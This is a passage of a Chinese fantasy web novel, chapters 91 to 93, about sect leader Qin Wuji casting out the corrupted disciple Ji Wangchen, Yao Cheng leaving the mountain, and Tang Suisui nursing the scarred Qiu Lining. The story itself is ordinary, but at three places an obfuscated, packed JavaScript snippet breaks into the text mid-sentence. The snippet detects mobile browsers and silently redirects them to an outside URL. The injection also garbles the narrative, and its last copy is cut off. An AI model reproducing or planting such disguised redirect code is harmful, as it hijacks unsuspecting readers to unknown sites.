她叹了口气起身,将整理好的纸笺小心翼翼地放在锦囊中。不管她现在心情如何,她觉得最需要知道这些的,应当是秦无纪。 纸笺上有许多白宸的验材记录其中,或许仍有一部分还未铲除。不管出于什么理由,汤穗穗都觉得这些都应当尽早处理。 汤穗穗去找到秦无纪的时候,姚成也在殿中。或许是她脸上的神情过于严肃,两位长辈相互对视一眼,主动走进了汤穗穗询问来意。 她简单地将白宸的事情想两位前辈阐明,一边将掌心的锦囊递了出去。 听着对方简明扼要的叙述,秦无纪面色沉重地将锦囊拿了过来,转身走到自己的桌案前,将其中的纸笺取出来,聚精会神地翻阅着。 和秦无纪镇定的状态相比,姚成不可置信地瞪大了眼睛:“……你是说,小师弟他在暗中……谋划了这么一桩……” 他的反应很大,不自觉地后退了好几步,撞到身后的椅子才停住。他瞪圆了眼睛,不断回忆着当时和小师弟相处的那些细节,却依旧找不到丝毫痕迹——又或许只是他自己刻意那些不合理之处圆了过去。 “是。”汤穗穗看到对方往后退的动作时,下意识想上前扶住对方,当看到对 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姬忘尘无疑是受害者,可是入魔又是既定的事实。 可是既然对方已经入魔,那乾坤宗的态度就是诛杀除尽——一如当时的白宸。 “师傅!”汤穗穗脱口而出熟悉的称呼,她怒目望着面前的秦无纪,“你分明知道,师姐是被白宸连累成现在的样子!” 她皱着眉下意识上前走,离对方更近了一些。不管什么时候,她都不认可秦无纪的这个决定,她不认为师姐应当被这样对待。 “但是她入魔了。”面前的秦无纪的脸色十分肃穆、不怒自威,她一字一句地开口:“乾坤宗不需要入魔的门徒,而她也不再是你的师姐。” 明明只有几步之遥,汤穗穗却觉得对方的话那么冰冷,冷得她下意识打了个寒颤。 明明只有几步之遥,但她好像从来都没有认识过面前的女人。 “不是这样的!”汤穗穗知道师姐当时的不得已,倘若那时候不入魔,她们所有人都会成为巨蛛茧中的养料。 为什么师姐明明拯救了所有人,却要被绝情地驱逐…… “不该是这样的。”汤穗穗再一次重复着,眼眶蓄满了泪水,不甘、委屈混杂在一起,使得她朝面前人吼道,“你们所谓的‘救世’,其实就是用别人的尸体铺就的。……” “穗穗,慎言。”秦无纪的声音很冷,就像寒冬里的雪花,“我理解你的情绪。但,对魔物,我们不要过于善良。” “师姐才不是魔物!”汤穗穗用力地擦掉眼泪,倔强地噘着嘴,咬牙切齿,“我看看,你们才是这个世界上最冠冕堂皇的、魔物。” 她的这句话一开口,整个殿内的气息猛地停滞,连秦无纪脸上都按不住自己的讶异。 她和对方对视着,才发现师傅比起往常苍老了许多——她马上打断自己对对方的心软,仰着下巴。 既然她能那么冷漠无情地将师姐驱逐于宗门之外,毫不顾忌这些年相处的情谊……说明在对方的心里,她们从来就不是什么“亲人”,只是冰冷的、毫无血缘的师徒关系。 既然这样,她又为什么要对面前的女人报以那些不切实际的幻想。 想到这里,汤穗穗也不愿再待在这个窒息的地方,转身就往外跑去。 她完全没看到,就在自己转身那瞬间,对方完全塌下来的脊背,和那双失去光泽的眼眸。 她也不会知道,对方望着她离开的身影,就像过去很多次那样,站在原地欲言又止,还是没有叫停她离开的脚步。 91.他该走了 “……这些都是真的吗?”姚成站在秦无纪的桌案前,拿过纸张右手不自觉地颤抖。 可话语出口时,他也知道自己心中的那些期待更是可笑。相识数十载的他们,对对方的字体最是了解。 更何况上面没有任何法术的痕迹,也不是旁人刻意模仿的赝品——手上的纸笺的的确确出自那个入魔的小师弟之手。 可越是确认笔迹的主人,他越是不能接受现实。 忽地眼前一黑,他伸出左手撑在桌案上,这才没有栽倒在地上。他垂头望着桌案上的花纹,脑海还被方才的信息冲击得无法回过神来。 他万万没有想到,白宸竟然在暗中早有这样阴暗的谋划,甚至用旁人的性命为他的计划添砖加瓦。 秦无纪收回追随汤穗穗背影的视线,低头垂眸望向殿内脚下的砖块,轻叹了口气,艰涩地张口:“是真的。” 她知道姚成重情重义,所以还没有确凿的证据时,她都没有轻易提起心中的怀疑……还有铃铛的事情。 方才姚成惯常来汇报所管理的事务状况,就在他打算离开的时候,汤穗穗就这么巧合地闯了进来,连带着如此重磅的消息,将两人打得措手不及。 勉强收拾好情绪的秦无纪走进撑着桌案的姚成,放缓了声音:“……他,或许只是想岔了……” “师姐也知道,”姚成闭上眼,嘴角勾起自嘲的笑容,声音放得很轻,还带着微不可查的颤抖,“……对吗?” “……是。”秦无纪伸手轻轻拍在对方的后背,想起师姐临终的嘱托,“那时候师姐知道你的性格,担心你会多想……也担心是我们误解了小师弟……” 没想到这个结果却直白地在她们的脸上,扣了两记响亮的耳光。 “是我太……”姚成睁开眼,强撑着自己站直身体,看向秦无纪强颜欢笑,“……多愁善感。” 他觉得自己就是废物。 这些年来不仅一事无成,亏他还自诩是最了解白宸的人,实际上对对方的谋划一无所知。 甚至以他那样的性格,就算提前知道了,也做不到她们那般当断即断。 “姚成……”秦无纪皱着眉,不认可地抬头,“不是这样的……” “我都知道的。”姚成垂眸望向自己的双手,“哪怕师姐将真相告知于我,我也不能像你一样做出冷静的选择……就像现在,我也还是做不到…… 只是后面的话语很轻,被风一吹就散,秦无纪听得并不清楚。 因此她并没有回应他的这句话,反倒将宗门的长老召集在议事殿,就白宸这件事进行商讨。白宸的手稿被众人传阅,此时的殿中就像沸腾炸开的水,气氛异常激烈。 许多人都和白宸打过交道,原本以为走入歧途只是天之骄子的行差踏错,怎么都没想到他竟然还会做出“以灵体养魔”这样这样胆大包天的行径。 但也有人认为,白宸这样的行径,不过是复刻最早的宗门前辈,只是手法稍微极端了些,心肠还是好的。 各执己见的两方人就此吵个不停,一都不认同对方的观点。秦无纪就站在议事殿中央,垂眸听着她们的争执,不置一词。 两方人吵着吵着也感受到秦无纪的沉默,主动止住了话头,将选择的难题交给现任宗主。 “不管白宸出发点如何,他都不应该采取这样的枉顾人命的措施,连累了更多不知情的同门。”秦无纪冰冷地对这件事盖棺定论,“现在更重要的,是将手稿上白宸的‘验体’清理干净,以免后患无穷。” 殿中众人点头,认可秦无纪的做法。不过她们又想起了手稿里提到的那个熟悉的名字,犹豫着开口:“那……” “至于姬忘尘。”秦无纪就像是能洞察对方内心一样,闭上眼片刻又睁开,平静地开口,“从入魔的那刻起,便被驱逐出宗。……日后若是遇上,如常诛杀即可。” 她的这番话出口,更是让殿中众人脸色大变。虽说诛杀魔物是宗门中人的本分,但毕竟姬忘尘也是宗门的门徒之一,或多或少都有过接触,也了解对方的心性。 ……她们都不太能下这番狠手。 “……当真只有诛杀这一个选择吗?”有人犹豫着说出心里话,“怎么说,姬忘尘也是被白宸连累的……” “我理解诸位。”秦无纪平静地开口,双目古井无波,声音更是冷得像冬日冰雪,“但如今的姬忘尘又跨越一个境界,倘若完全失职,恐怕只有我们众人联手,才能勉强将她压制。倘若放任这样的魔物在世间行走,等到她丧失理智的那日,又将会掀起无法预料的灾祸?” ““这也是白宸这个计划最大的弊端——不可控。”秦无纪顿了顿,再度平静开口:难道我们要将世人的未来置于随时失控的魔物身上吗?” 听到她的解释,众人再度陷入了沉默。 与魔物交战数十年的她们都知道,魔物一旦失控,甚至会迸发越境的能力。倘若放任姬忘尘这样强大的存在继续积攒能力下去,恐怕真的就如秦无纪所说,最后为祸一方。 无论是作为姬忘尘曾经的同门,还是自诩乾坤宗中“为世”的她们,这是她们最不想看到的场景。 “既然诸位无异议,便先去忙各位的事务,等整理好余下的魔物地点后,再将任务分发下去。”秦无纪的脸上看不出任何的情绪,“到那时,还承蒙诸位施以援手。” 众人脸色沉重地点头,也想赶紧回去和门徒知会几声,私下里也好做些准备。不过时,殿内又只剩下姚成和秦无纪两人。 “你呢?”秦无纪没有看向他的方向,只是放空自己,将视线放在殿外的蓝天。那片天空正如往常一样,并无变化。可她却觉得自己的心中无比空洞,就像一具被抽掉灵魂的躯壳。 “我只是在想,师妹果然一如既往地……”姚成一步步走进秦无纪,他脸上带着许多难言的情绪,“善于权衡利弊,懂得在最恰当的时机、做出最恰当的选择。 听到他的话语,秦无纪只觉得心脏被细细密密的银针扎刺着,面庞一下子沉了下去,带着周围空气也顷刻凝固了起来。她收回看向蓝天的视线,偏头眯着眼转到姚成的身上,眼睛不自觉带上火气,微抬着下巴语气生硬:“所以你在指责我?” 她的话语听起来很不留情,但又像用坚硬的外壳掩盖什么。 “不是的,师妹。”姚成轻笑着摇头,对视时透露一股疲态,显得他格外沧桑。他强撑起精神,这次换成他轻拍对方的肩膀,“我很羡慕你,羡慕你不管什么时候都拎得清。” 秦无纪皱眉望着他的脸,不知道对方说这些话是什么含义。 “直到现在我才发现,我才是我们几个中最迷茫的那个人。”姚成轻哂,自顾自地说下去,“我既没有你们的坚定,也没有你们的执着,更没有什么非要做的事情。……我虽然一直留在山上,但我却是最没本事的那个人。” 也是在刚刚,姚成才恍然惊觉,不管是过去还是现在,他一直站在原地,而他的同伴们早就沿着自己的方向越走越远。 时光流转的这些年来,他只白长了年岁,心中依旧抱着年少时的愚蠢,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884097|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未曾向外迈出任何一步。 ……或许现在,也该到了他做出迈步的时候了。 “姚成……”秦无纪听出对方口中的自轻,张了张嘴想和对方争辩,却被对方的话语堵了回来。 “我得好好想想,接下来该前进的方向。”姚成耸了耸肩,脸上又露出惯常的笑容,压下了方才出现的落魄,扬起笑脸对上师妹担忧的神情,“……不用一脸担心地看着我,怪不适应的——还不如多损我几句。 “不过,不管我做出什么样的决定,你都会支持我的,对吧?” 倘若是往常,秦无纪会轻松地搭上对方的肩膀,笑着调侃,并做出肯定的回答。 可是此时此刻听到这句问话,她却望着对方的笑容沉默着,原本注入躯壳的些许生气再次被抽离,她很难形容现在的心情。 她尝试着张了张嘴,却找不到自己的声音。 山风从殿外灌入,“哗哗”的风声在殿中回响,两人就这样沉默的对视着。姚成的脸上还带着轻松的笑意,秦无纪却怎么都笑不出来。 随着师姐的辞世、姬忘尘的入魔,紧接方才与汤穗穗的分歧,还有如今姚成话语中的辞别,一桩桩一件件压得她丝毫没有喘息的余地。 恍然间,她的身边就只剩下自己。 “……是的。”即便如此,她还是努力地吞咽着交织的情绪,佯装坦然地开口,“随便你啊,支不支持的,等你做了选择再说吧。” 话语出口时,她下意识地偏头不敢与姚成对视。偏离的视线却捕捉住一只误闯入殿的彩蝶,追随着起舞的身影,就像自己也能如它一般轻盈自在。 那天之后,秦无纪熬了个通宵,将白宸笔记上关于验材的部分逐一精读,并根据宗门中留下的记录比对,终于将他所谓的“验材”的地方圈画出来,得到了许多确切的地址。 因为白宸留下的隐患过大,所以这次的任务将交由宗门中大部分元婴期以上的同门、师长前去处理,其余的同门则负责照顾剩下的还未苏醒的伤员,和部分除魔事务。 这样的安排也打乱了汤穗穗原本想要离开的计划。 其实她大可以直截了当地离开,只是当她想起尚未苏醒的邱师姐,她还是没能下定决心离开。不管怎么说,邱师姐都是她的救命恩人,哪有放着救命恩人不管不顾的道理? 药堂的大厅传来许多陌生的声音,汤穗穗从床上坐起,拉开了门走出前厅。这些天她一直宿在之前师姐休息的房间里,这样她还能感受到师姐的存在,让她不安的心得以平静。再加上药堂的药草味道,也让她紧绷的神经得到舒缓。 她走到前厅时,在领药的人群中,却看到了姚成的身影。她脚下的步伐不听使唤,还没等她回过神来就已经走到了对方的身边。 “怎么了,穗穗?” 她听着姚成还像往常的那样,温和地开口。不过她脑海中浮现自己昨天和师傅吵架时,对方也在场的画面,不免心中觉得有些尴尬。 毕竟她昨天的话语那么出言不逊,她有些担心听到面前人的训斥……又或是其她。 或许是察觉到了她的不自在,她听到面前的人依旧带着笑意,不疾不徐地开口:“我要下山了。” “那……平安回来。” “我应该不回来了,记得照顾好自己。” “为什么?!”汤穗穗瞪大了眼睛、猛地抬头,试图从对方的脸上找到谎言的痕迹。 可对方的笑容依旧那么真诚,还伸手将她两侧散落的发丝拨开,完全不像开玩笑的状态。 92.一年 “所以是她要赶你走?!”汤穗穗马上在脑海中想到一个人的身影,拧着眉转身就想为姚成讨个说法。 那个人怎么那么可恶,明明才当上宗主没多久,怎么就能做得这么绝情? 她的情绪一如既往地挂在脸上,姚成轻笑着拉回她的手腕解释道:“跟师妹没关系,是我想自己一个人历练历练。” “可……”她依旧不认可对方的说辞,脸上的担忧盖过一切。虽然姚成并未明说,但汤穗穗依旧能在对方身上看到功法反噬的痕迹,“要不,我和您一起走?……不过得麻烦您等一等,我想等邱师姐醒来之后……” “穗穗。”姚成走出队伍中,不干扰身后领药的同门。他的声音依旧温和,平静地打断了汤穗穗喋喋不休的话语,“多谢穗穗担心,只是有些路,需要我自己走。” 一边说着,姚成低头看向那个又长高了的女孩,不知不觉间她的眉目褪去懵懂、染上坚毅。前不久即便经历了姬忘尘的事变,她也并没有一蹶不振,反而双眼充满倔强。 ——像极了当时的秦无纪。 想到这里,他不免失笑。果然师妹养大的孩子也像极了她的脾性。 眼看汤穗穗还想说些什么,姚成伸手搭在她的肩上,张口想说些什么,却又将那些劝导的话咽下去。眼神顷刻失去光泽,也松开了扶在她肩膀上的手:“……算了,我这么大岁数还没活明白呢,就不给你自以为是的建议了。” “姚师舅……”直到现在,汤穗穗终于察觉到对方的情绪不对。 “我呆在舒适的地方太久了,有许多感受都变得麻木了……也因此,我想去走走,去重新感受‘此刻’。”姚成轻轻地叹了口气,“……别记恨你的师傅,她也有许多不得已。” “她——”听到姚师舅提及那人,汤穗穗的火气马上被点了起来,拧着眉正想说些什么,却被对方温和的声音打断。 “或许在你看来,如今的她有千般不好、万般不是,但她也有自己的苦衷。”姚师舅此刻的情绪多了几分柔和,为当时秦无纪不留情面的话语开脱,“要怪就怪我吧,明明我比她年长,最后还是她接过沉重的担子、做出绝情的选择。” 汤穗穗移开了目光,没有接话也没有应答,只是听着耳畔有些喧闹的声响,低头望着洒落在地面的光影沉默无话。 等姚成下山的那天,汤穗穗悄悄地跟着对方的脚步,就像曾经跟在师姐身后那样。 对方或许感知到了自己的存在,又或许没有,只是如往常一般打开禁制,进入了望江城。 因为汤穗穗心中还挂念着邱师姐的状况,只是站在禁制内,远远地望着对方离开的背影消失在视野中。等完全捕捉不到对方的身影时,她才收回视线,闭眼缓解长时间睁眼带来的酸涩感。 其实她也不知道,自己走的这一趟究竟为了什么。 她重新睁开眼,尝试将心中的烦闷呼出来,却还是觉得心口堵得慌。转身想往山上走去时,余光瞥到一抹娇嫩的粉色。 顺着那抹色彩看去,她才发现不远处扎堆的山桃正盛放着,在绿色的丛林中格外瞩目。汤穗穗下意识抬头摸向自己的头顶,却摸了个空——后知后觉想起来,历练出发前,她担心这趟出行会弄坏师姐给的发簪,早就收起来放在木匣中。 ……只是后来发生的事,完全在她的意料之外。 鬼使神差地,她抬脚走到了山桃树下,仰头望着树枝上开得正盛的桃花。山风恰好刮过,带着偏偏花瓣在半空旋转起舞,尽兴后才缓缓落在她张开的掌心。 垂眸望着娇嫩的花瓣,汤穗穗眨眨眼,回想起上一次看桃花盛放的模样,还是在去年临行前。 那时的她刚筑基,蓄积的灵气催开小屋旁的山桃。在阵阵花瓣雨中,她们离开居住这块八年的地方,踏上这条来到宗门的道路。 然而仅仅只是一年的时间,又或许还不到一年。等她再一次站在山桃树下,只觉得恍若隔世。 在这一年的时间里,她们改变了许多。现在的她甚至已经结丹,身上的肌肉比起当年结实不少;师姐危急时刻利用魔种越境,救了她们之后又不知所踪;师傅成为了乾坤宗宗主,却变得断情绝义;连姚师舅都找了个理由离开山门。 她们还是她们,却又不是她们。 ……这算是一种成长吗? 汤穗穗不知道。 倘若成长的代价就是伴随着这样的离别,那不如让她回到一年前的小屋,她接着做那个无忧无虑、一无所知的汤穗穗,和师傅、师姐在山上过着平凡的生活…… 可是没有如果。 汤穗穗的嘴角扯出苦笑,倘若当时她们没有离开,那后来的事情就不会发生——杜蕴辰的事情会被掩盖,白宸如今的谋划还会连累更多的人…… 虽然她总说自己不是无私的人,但她又不能将这一年的经历视若无物。 其实她的心中还有很多舍不得。 花瓣轻飘飘地落在她的头顶,为她乌黑的发丝添上这春日里最绚烂的色彩。 当汤穗穗回到宗门的时候,却遇到了熟悉的面孔:邱师姐的师妹。对方也认出了自己,原本正和旁人说这些什么,见到自己后连忙跑过来,脸上带着笑意:“你就是穗穗吧!” “抱歉……”看到对方,她就想起还躺在病床上的邱师姐,想起了自己的无能。 “不用道歉不用道歉!”女子连连摆手,拍着汤穗穗的肩膀,“我要出任务啦,我师姐拜托你多照顾照顾!还有还有,要是遇到成洱师姐,麻烦帮我道声谢,我怕我这趟回不来,就先拜托你啦!” 面前的女子没有那日看到那样萎靡不振,脸上的笑容正如此刻的阳光,温柔却不刺眼。汤穗穗张了张嘴,还是没忍住开口:“既然知道有可能回不来,为什么还要去?” “很简单啊,因为我要去,说不准这一趟又救下了几个人呢?”女子理所当然地开口,“更何况,死亡不过是最坏的结局而已,这有什么好害怕的?” “好啦好啦,不说啦,我的同伴在催我了!”还没等汤穗穗回答,对方跑回原来的方向,站在队伍里用力地向她挥着手。 汤穗穗机械式地挥着手,脑海却不停地回响她方才的话语。她想起最初师姐说过的话语——“她们是一群送死的人”。 曾经的邓娇前辈说:为了身边的“你我她”。 现在的这位师姐又为这句话增添理由:为了救下更多的人。 她忍不住将自己的视线往周围众人逐一扫过,或许她们都有这趟不得不去的理由。 ……可是汤穗穗依旧不相信,她们所给出的理由,就真的值得抛却自己的生命吗? 她不知道。 或许不值得,……又或许值得。 既然对方将邱师姐托付了给自己,她也就顺道去到邱师姐的房间。其实不用对方提起,这几天她总闲不住,经常站在门口观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889876|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邱师姐的恢复情况。 不得不说,成师姐的治疗十分有效。从诊治那天到现在,才不过五六日时间,邱礼宁师姐就已经恢复意识,能流利地和旁人交流。只不过她的脸上、手背上还因为被蛛液腐蚀过深,不能修复如初。 现在的邱师姐脸上包扎着布条,布条上涂满了成师姐特制的药膏,能够加快伤口的痊愈。即便如此,汤穗穗还是记得对方当时那副面目全非的模样。 ——都是因为自己。 在剧烈的愧疚压垮汤穗穗之前,房间里熟悉的声音打断她的情绪。她听到房间里的人温和地开口:“……穗穗?是你吗?” 汤穗穗连忙回神,迈进房间中:“怎么了,邱师姐?” “没什么,我刚刚察觉到你的灵气,却一直没听到你说话的声音,觉得有些诧异而已。”邱礼宁因为暂时封闭了视觉,但其她感官的察觉却比之前更甚。 就像方才,她很早就听到了汤穗穗停在门口的脚步声,只是一直没有开口。直到察觉到汤穗穗身上剧烈的灵气波动不对劲,这才出声打断对方。 虽然和汤穗穗相识的时间不长,但她知道这个小姑娘重情重义,也很有自己的想法,只是有些担心会因为旁人的影响而钻牛角尖。 “……啊,好像是到换药的时间了。”汤穗穗想起旁人的嘱托,她看了眼天色判断时间,转身回到大厅为邱师姐捣药。 成师姐也是出行的一员,自然而然将捣药的事情交给了她。所以即便当时没有那位师姐的托付,她也一定会照顾邱师姐的。 她熟练地从药柜翻出新鲜的草药,放在捣药的器皿上,用力地捶打出汁水。一边捶打着,一遍想起当时跟在成师姐身边学习时的事情。 那时她也问过师姐,明明灵气可以淬炼她们的身体,为什么现在的邱师姐不能修复蛛液带来的伤口? “因为魔蛛已经和魔种融为一体,它的汁液早就带着浓郁的魔气。”成师姐一边捣药一边解释,“即便灵气具有一定的修复的能力,但也不能完全将魔气的影响除去。” “……这样啊。”汤穗穗有些泄气,手上捣药的动作不自觉停了下来。 “倘若魔物的修为再少十年,或许灵气还能慢慢修复。”说起这件事,成洱师姐的语气也有些感慨,“好了,别听,继续捣……” 其实许多闲聊她已经有些不记得了,现在的时候才猛然将白宸笔记上的时间联系起来:他遇到魔蛛、并将其归为自己的验材时间,正好十年。 换句话说,倘若那时候的白宸没有培养魔物的想法,十年后的邱师姐也不会因此落下这样的伤疤——甚至同行的几位师长都不会留下这么惨烈的代价。 想到这里,汤穗穗手上的力气加大了许多,她的眉头紧皱、用力捶打着药草,心中怨恨对方,埋怨他异想天开的想法却伤害了那么多的人。 倘若这就是白宸心心念念的“救世”,又跟山下为非作歹的刽子手又有什么区别?! 这样冠冕堂皇的“救世”,与那些真挚地为了旁人而奔赴在路上的她们相比,显得那么的自私和廉价。 ——不过这一切都注定与她无关了。 等白宸余下的魔物处理完全、成师姐她们再回来的时候,她也就会正式地和秦无纪提出离别。 到那时,她们桥归桥、路归路,谁也别挨着谁。 汤穗穗任性地想:她才不要和白宸这样的人同出一个师门。 93.纹样 等汤穗穗抱着研磨好的药膏回到房间的时候,邱礼宁已经撑起身体靠在床边,听到前者的脚步声,朝声音的方向望过去。 不仅如此,她还问道空气中浅浅的药草香味,驱散些许失去视觉导致的不安,脸上带着笑意开口:“又到换药时间了吧,辛苦你了穗穗。” “不辛苦。”汤穗穗将药膏放在桌案上,扶着邱师姐慢慢地也坐在桌案旁,这样便于她能够贯彻对方脸上的痊愈情况,“要说辛苦,还是师姐你比较辛苦吧……” 毕竟修养的时候什么都不能做,脸上伤口痊愈也需要时间。 “也不是这么说的,穗穗。”邱礼宁闭着眼,任由汤穗穗解开脸上交缠的绷带,感受着面前逐渐恢复光亮,“我还有痊愈的机会,我也还活着,这就足够了。” 汤穗穗理解邱师姐的意思,她紧紧地抿着唇,却不知道说什么。她索性静下心来,小心翼翼地刮走邱师姐已经干涸在脸上的膏药痕迹,手边的手帕沾上水小心翼翼地擦拭着。 当她完全将邱师姐擦干净,又一次直面面对狰狞的伤口时,汤穗穗的心口被人狠狠地揪作一团,皱着眉呼吸下意识地加重。对方脸上的痕迹就像烙在了她的心上,让她握着手帕的手止不住地颤抖着, 邱师姐闭着眼,冷不丁地开口,脸上却还挂着温和的笑容,似乎就像寻常问候那般平静,“要是太难受忍忍吧,这段时间只能拜托你啦。” 邱师姐的声音很轻,却重重地砸在汤穗穗的心口,她连忙摇摇头。片刻后意识到对方看不到,连忙开口说道:“不是的不是的,我只是感觉很抱歉……” 如果当时不是为了保护自己,邱师姐一定能够保护这张脸,而不是像现在一样,留下无法痊愈的印记。 “说什么呢?”邱礼宁轻笑出声,微微转头看向视野中阴影的地方,“别想那么多,又和你没有关系,是我想保护你而已。” 有时候她都搞不明白自己究竟是什么样的人,其实现在想起来,邱礼宁也觉得自己十分大胆,竟然做出了以前从来没有做过的选择。……甚至因为这个选择,赔掉了半张脸和手。 可是现在能够听到汤穗穗生龙活虎的声音时,她觉得一切都是值得的——至少她做到了力所能及的的事情。 “好啦好啦,先别想那么多,先帮我上药吧。” 邱师姐温柔的声音将汤穗穗拉回现实。她再一次将手中的帕子清理干净,沾上药液轻轻擦拭对方的伤口处,避免新敷的药膏不能吸收良好。她也因此看清了对方脸上糟糕的纹路,就像华美的锦缎上留下来无法弥补的、被火焰灼伤的印记。 她勉强按压下翻涌的情绪,认真地完成自己手上的工作。若是又让情绪主导从而影响到师姐伤口的痊愈,她才更是本末倒置。 她耐下性子,将捣好的新药用勺子轻轻地铺在狰狞的伤口处,用工具小心翼翼的在师姐的脸上推开。 深绿色的药膏散发着浓浓的青草的味道,轻轻地盖在邱礼宁的脸上,让她觉得伤口传来令人舒服的、清清凉凉的感觉,安抚原本伤口处传来的痒意。 这几天来,汤穗穗经常为她上药,因此动作也十分娴熟,没过多久就将手上的药膏全部铺在邱师姐的脸上。她取下干净的布条,小心翼翼地贴着药膏的痕迹缠在邱师姐的脸上。 据成师姐说,这样能让药膏的效力更大程度地发挥作用。 “穗穗,当时多谢你了。”邱礼宁眼前的光影再一次被遮挡,她听着汤穗穗的动作也接近尾声。如果当时没有汤穗穗身上的那股强大的灵气,恐怕她的身上比现在还要再危急几分。 汤穗穗收拾工具的手顿了顿,声音低低的:“可是师姐是因为我,才变得现在这副……” 虽然她的话并未出口,邱礼宁却洞察少女心中的不安。越是如此,有些话越是要讲个清楚。 “穗穗,看着我,现在我的脸很恐怖吗?”邱师姐脸上挂着浅淡的微笑,语气却带着不容反驳的威严。汤穗穗转身,在对方话语的引导下,视线被迫锁定在她那张恍如带上白色半脸面具的面庞上。 “我……”汤穗穗被她的话语堵住了嘴,想说些什么却怎么都开不了口。 扪心自问,现在的邱礼宁师姐绝对称不上世俗定义的“好看”。可倘若将对方定义为“恐怖”,又对当时对方做出的选择来说十分不公。 “你会因为我这张脸,而厌弃我吗?”上一个问题还没等到回答,邱礼宁又将另一个问题抛了出来。 “怎么可能?!”汤穗穗猛地提高音量反驳对方,“我怎么会因为——” 在邱师姐话语的引导下,她的脑海中猛然从原先的牛角尖中钻出来。她的眼睛一瞬间放亮,再次看向邱师姐仍紧闭着的脸上,对上她另外半边没有损坏的面庞。 邱师姐脸上的伤痕并非遗憾,或许是一道岁月留下的特殊纹样,只用来奖赏像她那般无畏的女子。 “不是的。”想明白了这一点的她,坚定着摇头,“邱师姐,不是这样的。” “嗯?”邱师姐了然地挑着眉,似乎等待她接下来的话语。 “邱师姐,你并不恐怖;相反,你拥有着世界独一无二的面容。”汤穗穗郑重地开口,“或许这些话听来像是安慰,但我觉得容貌并不是定义人的手段,也不应该成为定义的标准。” “你的声音比方才轻松了很多,我很高兴。”邱礼宁并没有将对方的话语放在心上,比起自己她希望汤穗穗不要因为自己而走上自我怀疑的道路。 “我说的都是真心话。”汤穗穗垂下头望着自己捏紧衣摆的手,给自己打气后又抬头。 “谢谢。其实我知道,我怎么都算不上好看了。”邱师姐笑容有点勉强,她一点也不后悔当时的选择,只是她仍庆幸于自己看不到面孔,才能大言不惭地接受自己的面目有变化。 她一边说着一边伸出手,想伸手轻揉少女的发顶。但很快意识到自己如今的情况,她的脸上又浮现懊恼,在她想要收回手的时候,却被人抓住了手腕,上移直至碰到了毛躁的发顶。 她顺着对方的力度,轻轻地在毛躁的头发上抚摸,克制地收回手,却控制不住脸上的笑容变得更浓郁了。 “邱师姐,你就是仙女。”松开对方的手腕后,她环过对方的腰,将避开对方的伤口,将头靠在另一侧的肩颈。她控制不住自己的声音发颤,额头贴在对方的肩膀处开口:“倘若这个世界真的存在仙人,应当就是如你那般行径的女子。” 邱礼宁没想到等来的竟然是这样的答案,她闭着眼下意识地张开嘴,片刻后合上,用力地抿着唇压制自己的情绪。 她感受着两人胸膛中的心脏共振,她下意识将面前的身体用力拢在怀里,彼此身上的热意交换,就像当时在茧中的那样。 “谢谢你,穗穗。”她贴近汤穗穗,轻声呢喃。 感受到怀中的身体有些颤抖,汤穗穗更用了些力气将对方抱得更紧,靠得对方更近一些,同样轻声地开口:“谢谢你,邱师姐。” 谢谢你,在那个危急的时刻依旧选择拯救我。 给邱师姐换过药之后,她又帮助对方用餐,之后搀扶着离开房间走几圈消消食。虽然现在的邱师姐并不能正常视物,但身体大部分的情况已经恢复,等过段时间她还能运用体内的灵气。 即便不能恢复到受伤前的状况,但也能加速创口的痊愈。 等邱师姐走累了,汤穗穗又将对方送回房间搀扶到床上,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今天的月亮很美,坐下看看吗?”师傅头也没回,就察觉到汤穗穗的存在,她依旧维持着仰头的动作,冷不丁地开口。 但汤穗穗听到对方的邀约,脑海中第一反应就是抬步离开——只是她的身体却做出相反的决定。她站在对方身后看了许久,终于上前,也坐在秦无纪的身边,学着她那样仰望夜空。 诚然如秦无纪所说,今晚的月亮很美,又大又圆就像圆盘一样挂在天际,周围晕出一层光圈;零碎几点的星光点缀在昏暗的夜空,不停地闪烁发亮。 顺着皎洁的明月,她忍不住将视线又放在身旁女人身上。现在的师傅和以前很不一样,在月光的映照下,又多添几分脆弱。 看着对方比之前变深的眼窝和遮不住的眼下乌青,心口似乎被什么敲打,让她感受到阵阵钝痛。 还没等她从钝痛中抽离,她却听到了身旁人的声音:“……你恨我,对吗?” 沧桑的女人依旧没有转头,只是她的声音很轻,轻得随时会被风吹走。不知道是不是自己的错觉,汤穗穗从对方的眼眶里,好像看到晶莹在打转。 “你想走,对吗?”许久都没有等到身旁人的答案,女人再一次开口,只是这次的语气变得更加笃定,“怪我,是我不管不顾地把你带了上山,又辜负了你的信任……” 虽然心中一直有这样的想法,但真的被对方挑明的时候,汤穗穗又像被什么堵住了咽喉,无论如何都开不了口。 “……想走就走吧。”她听到对方这样说。 即便对方压制得很好,可过去无数个日夜的朝夕相处,还是让她听出对方声音中微不可查的颤抖。